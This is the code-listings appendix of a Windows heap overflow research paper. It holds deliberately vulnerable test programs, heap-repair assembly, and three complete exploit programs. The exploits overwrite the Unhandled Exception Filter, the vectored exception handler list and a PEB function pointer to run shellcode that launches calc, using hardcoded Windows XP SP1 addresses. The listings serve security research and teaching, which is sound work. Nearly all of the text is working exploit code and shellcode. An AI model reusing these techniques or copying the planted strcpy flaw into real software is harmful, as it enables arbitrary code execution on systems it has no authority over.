Windows Heap Overflows
David Litchfield (david@ngssoftware.com)

Code Listings

Listing A - heap.c

	#include <stdio.h>
	#include <windows.h>

	DWORD MyExceptionHandler(void);
	int foo(char *buf);

	int main(int argc, char *argv[])
	{
		HMODULE l;
		l = LoadLibrary("msvcrt.dll");
		l = LoadLibrary("netapi32.dll");
		printf("\n\nHeapoverflow program.\n");
		if(argc != 2)
			return printf("ARGS!");
		foo(argv[1]);		                                 
		return 0;
	}

	int foo(char *buf)
	{
		HLOCAL h1 = 0, h2 = 0;
		HANDLE hp;

		hp = HeapCreate(0,0x1000,0x10000);
		if(!hp)
			return printf("Failed to create heap.\n");

		h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
	
		printf("HEAP: %.8X %.8X\n",h1,&h1);

		// Heap Overflow occurs here:
		strcpy(h1,buf);
			
		// This second call to HeapAlloc() is when we gain control
		h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
		printf("hello");
		return 0;
	}

Listing B - asm-repair-heap

	// We've just landed in our buffer after a
	// call to dword ptr[edi+74]. This, therefore
	// is a pointer to the heap control structure
	// so move this into edx as we'll need to 
	// set some values here
	mov edx, dword ptr[edi+74]
	// If running on Windows 2000 use this
	// instead
	// mov edx, dword ptr[esi+0x4C]
	// Push 0x18 onto the stack
	push 0x18
	// and pop into into EBX
	pop ebx
	// Get a pointer to the Thread Information
	// Block at fs:[18]
	mov eax, dword ptr fs:[ebx]
	// Get a pointer to the Process Environment
	// Block from the TEB.
	mov eax, dword ptr[eax+0x30]
	// Get a pointer to the default process heap
	// from the PEB
	mov eax, dword ptr[eax+0x18]
	// We now have in eax a pointer to the heap
	// This address will be of the form 0x00nn0000
	// Adjust the pointer to the heap to point to the
	// TotalFreeSize dword of the heap structure
	add al,0x28
	// move the WORD in TotalFreeSize into si
	mov si, word ptr[eax]
	// and then write this to our heap control
	// structure. We need this.
	mov word ptr[edx],si
	// Adjust edx by 2
	inc edx
	inc edx
	// Set the previous size to 8
	mov byte ptr[edx],0x08
	inc edx
	// Set the next 2 bytes to 0
	mov si, word ptr[edx]
	xor word ptr[edx],si
	inc edx
	inc edx
	// Set the flags to 0x14
	mov byte ptr[edx],0x14
	inc edx
	// and the next 2 bytes to 0
	mov si, word ptr[edx]
	xor word ptr[edx],si
	inc edx
	inc edx
	// now adjust eax to point to heap_base+0x178
	// It's already heap_base+0x28
	add ax,0x150
	// eax now points to FreeLists[0]
	// now write edx into FreeLists[0].Flink
	mov dword ptr[eax],edx
	// and write edx into FreeLists[0].Blink
	mov dword ptr[eax+4],edx
	// Finally set the pointers at the end of our
	// block to point to FreeLists[0]
	mov dword ptr[edx],eax
	mov dword ptr[edx+4],eax

Listing C - heap-uef.c

	#include <stdio.h>
	#include <windows.h>

	int foo(char *buf);

	int main(int argc, char *argv[])
	{
		HMODULE l;
		l = LoadLibrary("msvcrt.dll");
		l = LoadLibrary("netapi32.dll");
		printf("\n\nHeapoverflow program.\n");
		if(argc != 2)
			return printf("ARGS!");
		foo(argv[1]);		                                 
		return 0;
	}

	int foo(char *buf)
	{
		HLOCAL h1 = 0, h2 = 0;
		HANDLE hp;

		hp = HeapCreate(0,0x1000,0x10000);
		if(!hp)
			return printf("Failed to create heap.\n");
		h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
		printf("HEAP: %.8X %.8X\n",h1,&h1);
		
		// Heap Overflow occurs here:
		strcpy(h1,buf);
		
		// We gain control of this second call to HeapAlloc
		h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
		printf("hello");
		return 0;
	}

Listing D - exploit-uef.c

#include <stdio.h>
#include <windows.h>

unsigned int GetAddress(char *lib, char *func);
void fixupaddresses(char *tmp, unsigned int x);

int main()
{
	unsigned char buffer[1000]="";
	unsigned char heap[8]="";
	unsigned char pebf[8]="";
	unsigned char shellcode[200]="";
	unsigned int address_of_system = 0;
	unsigned char tmp[8]="";
	unsigned int a = 0;
	int cnt = 0;

	printf("Getting address of system...\n");
	address_of_system = GetAddress("msvcrt.dll","system");
	if(address_of_system == 0)
		return printf("Failed to get address.\n");
	printf("Address of msvcrt.system\t\t\t= %.8X\n",address_of_system);
	strcpy(buffer,"heap-uef ");
	while(cnt < 66)
	{
		strcat(buffer,"DDDD");
		cnt++;
	}

	// This is where EDI+0x74 points to so we
	// need to do a short jmp forwards
	strcat(buffer,"\xEB\x14");

	// some padding
	strcat(buffer,"\x44\x44\x44\x44\x44\x44");
	
	// This address (0x77C3BBAD : netapi32.dll XP SP1) contains 
	// a "call dword ptr[edi+0x74]" instruction. We overwrite 
	// the Unhandled Exception Filter with this address.

	strcat(buffer,"\xad\xbb\xc3\x77"); 

	// Pointer to the Unhandled Exception Filter
	strcat(buffer,"\xB4\x73\xED\x77"); // 77ED73B4

	cnt = 0;

	while(cnt < 21)
	{
		strcat(buffer,"\x90");
		cnt ++;
	}
	// Shellcode stuff to call system("calc");
	strcat(buffer,"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9");
	fixupaddresses(tmp,address_of_system);
	strcat(buffer,tmp);
	strcat(buffer,"\xFF\xD1\x90\x90");
	printf("\nExecuting heap1.exe... calc should open.\n");
	system(buffer);
	return 0;
}

unsigned int GetAddress(char *lib, char *func)
{
	HMODULE l=NULL;
	unsigned int x=0;
	l = LoadLibrary(lib);
	if(!l)
		return 0;
	x = GetProcAddress(l,func);
	if(!x)
		return 0;
	return x;
}

void fixupaddresses(char *tmp, unsigned int x)
{	unsigned int a = 0;
	a = x;
	a = a << 24;
	a = a >> 24;
	tmp[0]=a;
	a = x;
	a = a >> 8;
	a = a << 24;
	a = a >> 24 ;
	tmp[1]=a;
	a = x;
	a = a >> 16;
	a = a << 24;
	a = a >> 24;
	tmp[2]=a;
	a = x;
	a = a >> 24;
	tmp[3]=a;
}

Listing E - heap-vector.c

	#include <stdio.h>
	#include <windows.h>

	DWORD MyExceptionHandler(void);
	int foo(char *buf);

	int main(int argc, char *argv[])
	{
		HMODULE l;
		l = LoadLibrary("msvcrt.dll");
		l = LoadLibrary("netapi32.dll");
		printf("\n\nHeapoverflow program.\n");
		if(argc != 2)
			return printf("ARGS!");
		foo(argv[1]);		                                 
		return 0;
	}

	DWORD MyExceptionHandler(void)
	{
		printf("In exception handler....");
		ExitProcess(1);
		return 0;
	}

	int foo(char *buf)
	{
		HLOCAL h1 = 0, h2 = 0;
		HANDLE hp;

		__try{
			hp = HeapCreate(0,0x1000,0x10000);
			if(!hp)
				return printf("Failed to create heap.\n");

			h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
	
			printf("HEAP: %.8X %.8X\n",h1,&h1);

			// Heap Overflow occurs here:
			strcpy(h1,buf);
			
			// This second call to HeapAlloc() is when we gain control
			h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
			printf("hello");
		}
		__except(MyExceptionHandler())
		{
			printf("oops...");
		}
		return 0;
	}

Listing F - exploit-vector.c

	#include <stdio.h>
	#include <windows.h>

	unsigned int GetAddress(char *lib, char *func);
	void fixupaddresses(char *tmp, unsigned int x);

	int main()
	{
		unsigned char buffer[300]="";
		unsigned char heap[8]="";
		unsigned char pebf[8]="";
		unsigned char shellcode[200]="";
		unsigned int address_of_system = 0;
		unsigned char tmp[8]="";
		unsigned int cnt = 0;

		printf("Getting address of system...\n");

		address_of_system = GetAddress("msvcrt.dll","system");
		if(address_of_system == 0)
			return printf("Failed to get address.\n");

		printf("Address of msvcrt.system\t\t\t= %.8X\n",address_of_system);

		strcpy(buffer,"heap-vector ");
	
		while(cnt < 5)
		{
			strcat(buffer,"\x90\x90\x90\x90");
			cnt ++;
		}

		// Shellcode to call system("calc");
		strcat(buffer,"\x90\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9");
		fixupaddresses(tmp,address_of_system);
		strcat(buffer,tmp);
		strcat(buffer,"\xFF\xD1");;

		cnt = 0;
		while(cnt < 58)
		{
			strcat(buffer,"DDDD");
			cnt ++;
		}

		// Pointer to 0x77FC3210 - 4. 0x77FC3210 holds
		// the pointer to the first _VECTORED_EXCEPTION_NODE
		// structure. 
		strcat(buffer,"\x0C\x32\xFC\x77");

		// Pointer to our psuedo _VECTORED_EXCEPTION_NODE
		// structure at address 0x0012FF48. This address + 8
		// contains a pointer to our allocated buffer. This
		// is what will be called when the vectored exception
		// handling kicks in. Modify this according to where
		// it can be found on your system
		strcat(buffer,"\x48\xff\x12\x00");

		printf("\nExecuting heap1.exe... calc should open.\n");
		system(buffer);
		return 0;
	}

	unsigned int GetAddress(char *lib, char *func)
	{
		HMODULE l=NULL;
		unsigned int x=0;
		l = LoadLibrary(lib);
		if(!l)
			return 0;
		x = GetProcAddress(l,func);
		if(!x)
			return 0;
		return x;
	}

	void fixupaddresses(char *tmp, unsigned int x)
	{
		unsigned int a = 0;
		a = x;
		a = a << 24;
		a = a >> 24;
		tmp[0]=a;
		a = x;
		a = a >> 8;
		a = a << 24;
		a = a >> 24 ;
		tmp[1]=a;
		a = x;
		a = a >> 16;
		a = a << 24;
		a = a >> 24;
		tmp[2]=a;
		a = x;
		a = a >> 24;
		tmp[3]=a;
	}

Listing G - heap-peb.c

	#include <stdio.h>
	#include <windows.h>

	DWORD MyExceptionHandler(void);
	int foo(char *buf);

	int main(int argc, char *argv[])
	{
		HMODULE l;
		l = LoadLibrary("msvcrt.dll");
		l = LoadLibrary("netapi32.dll");
		printf("\n\nHeapoverflow program.\n");
		if(argc != 2)
			return printf("ARGS!");
		foo(argv[1]);		                                 
		return 0;
	}

	DWORD MyExceptionHandler(void)
	{
		printf("In exception handler....");
		ExitProcess(1);
		return 0;
	}

	int foo(char *buf)
	{
		HLOCAL h1 = 0, h2 = 0;
		HANDLE hp;

		__try{
			hp = HeapCreate(0,0x1000,0x10000);
			if(!hp)
				return printf("Failed to create heap.\n");

			h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
	
			printf("HEAP: %.8X %.8X\n",h1,&h1);

			// Heap Overflow occurs here:
			strcpy(h1,buf);
			
			// This second call to HeapAlloc() is when we gain control
			h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
			printf("hello");
		}
		__except(MyExceptionHandler())
		{
			printf("oops...");
		}
		return 0;
	}

Listing H - exploit-peb.c

	#include <stdio.h>
	#include <windows.h>

	unsigned int GetAddress(char *lib, char *func);
	void fixupaddresses(char *tmp, unsigned int x);

	int main()
	{
		unsigned char buffer[300]="";
		unsigned char heap[8]="";
		unsigned char pebf[8]="";
		unsigned char shellcode[200]="";
		unsigned int address_of_system = 0;
		unsigned int address_of_RtlEnterCriticalSection = 0;
		unsigned char tmp[8]="";
		unsigned int cnt = 0;

		printf("Getting addresses...\n");
		address_of_system = GetAddress("msvcrt.dll","system");
		address_of_RtlEnterCriticalSection = GetAddress("ntdll.dll","RtlEnterCriticalSection");
		if(address_of_system == 0 || 	address_of_RtlEnterCriticalSection == 0)
			return printf("Failed to get addresses\n");
		printf("Address of msvcrt.system\t\t\t= %.8X\n",address_of_system);
		printf("Address of ntdll.RtlEnterCriticalSection\t= %.8X\n",address_of_RtlEnterCriticalSection);
		strcpy(buffer,"heap-peb ");
	
		// Shellcode - repairs the PEB then calls system("calc");
		strcat(buffer,"\"\x90\x90\x90\x90\x01\x90\x90\x6A\x30\x59\x64\x8B\x01\xB9");
		fixupaddresses(tmp,address_of_RtlEnterCriticalSection);
		strcat(buffer,tmp);
		strcat(buffer,"\x89\x48\x20\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9");
		fixupaddresses(tmp,address_of_system);
		strcat(buffer,tmp);
			strcat(buffer,"\xFF\xD1");

		// Padding
		while(cnt < 58)
		{
			strcat(buffer,"DDDD");
			cnt ++;
		}	

		// Pointer to RtlEnterCriticalSection pointer - 4 in PEB
		strcat(buffer,"\x1C\xF0\xFD\x7f");

		// Pointer to heap and thus shellcode
		strcat(buffer,"\x88\x06\x35");

		strcat(buffer,"\"");
		printf("\nExecuting heap1.exe... calc should open.\n");
		system(buffer);
		return 0;
	}

	unsigned int GetAddress(char *lib, char *func)
	{
		HMODULE l=NULL;
		unsigned int x=0;
		l = LoadLibrary(lib);
		if(!l)
			return 0;
		x = GetProcAddress(l,func);
		if(!x)
			return 0;
		return x;
	}	

	void fixupaddresses(char *tmp, unsigned int x)
	{
		unsigned int a = 0;
		a = x;
		a = a << 24;
		a = a >> 24;
		tmp[0]=a;
		a = x;
		a = a >> 8;
		a = a << 24;
		a = a >> 24 ;
		tmp[1]=a;
		a = x;
		a = a >> 16;
		a = a << 24;
		a = a >> 24;
		tmp[2]=a;
		a = x;
		a = a >> 24;
		tmp[3]=a;
	}